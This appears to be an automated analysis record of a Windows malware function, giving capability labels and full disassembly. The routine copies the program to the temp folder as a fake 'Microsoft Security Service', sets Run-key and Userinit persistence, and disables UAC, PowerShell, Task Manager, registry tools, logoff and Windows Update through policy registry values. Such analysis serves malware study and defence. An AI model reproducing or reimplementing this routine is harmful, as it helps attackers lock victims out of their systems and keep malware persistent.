Function at 0x403c10
Capabilities:
Disable system features via registry on windows
Get common file path
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x62c
mov eax, dword [0x8ab050]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str.C:Windows_system32userinit.exe_]
mov eax, dword [0x8a6f70]
push ebx
movups xmmword [ebp - 0x20c], xmm0
push esi
movups xmm0, xmmword [0x8a6f40]
push edi
mov dword [ebp - 0x1cc], eax
mov ax, word [0x8a6f74]
movups xmmword [ebp - 0x1fc], xmm0
push 0x1c2
movups xmm0, xmmword [0x8a6f50]
mov word [ebp - 0x1c8], ax
lea eax, [ebp - 0x1c6]
push 0
movups xmmword [ebp - 0x1ec], xmm0
push eax
movups xmm0, xmmword [0x8a6f60]
mov dword [ebp - 0x620], 1
mov dword [ebp - 0x624], 0
mov dword [ebp - 0x628], 0x7fff
movups xmmword [ebp - 0x1dc], xmm0
call fcn.00885850
add esp, 0xc
lea eax, [ebp - 0x414]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x104
lea eax, [ebp - 0x61c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.Microsoft_Security_Service.exe
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.00888704
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00888704
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp - 0x62c]
add esp, 0x18
mov dword [ebp - 0x62c], 0x80000002
push 0
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [ebp - 0x414]
push 0x208
push eax
push 1
push 0
push str.Userinit
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000002
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsPowerShell
push 0x80000002
call edi
push 4
lea eax, [ebp - 0x624]
push eax
push 4
push 0
push str.Enabled
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000002
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsPowerShell
push 0x80000002
call edi
push 4
lea eax, [ebp - 0x624]
push eax
push 4
push 0
push str.EnableScripts
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000002
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.DisableCAD
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000002
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000002
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoRun
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000002
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call edi
push 4
lea eax, [ebp - 0x624]
push eax
push 4
push 0
push str.EnableLUA
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000002
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.DisableCAD
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000002
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.DisableCAD
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000002
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.DisableLockWorkstation
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.DisableRegistryTools
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.Control_PanelDesktop
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.AutoColorization
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000002
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push 0x80000002
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.DisableLogonBackgroundImage
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x628]
push eax
push 4
push 0
push str.NoDrives
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoFolderOptions
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoResolveSearch
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoInternetOpenWith
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoSaveSettings
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoControlPanel
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoLogoff
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoFileMenu
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoChangeStartMenu
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoWindowsUpdate
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.TaskbarNoNotifications
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoAddPrinter
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoPropertiesMyComputer
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoRecentDocsMenu
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
push 0
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], 0x80000001
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call edi
push 4
lea eax, [ebp - 0x620]
push eax
push 4
push 0
push str.NoRecentDocsMenu
push dword [ebp - 0x62c]
call ebx
push dword [ebp - 0x62c]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00883d4a
mov esp, ebp
pop ebp
ret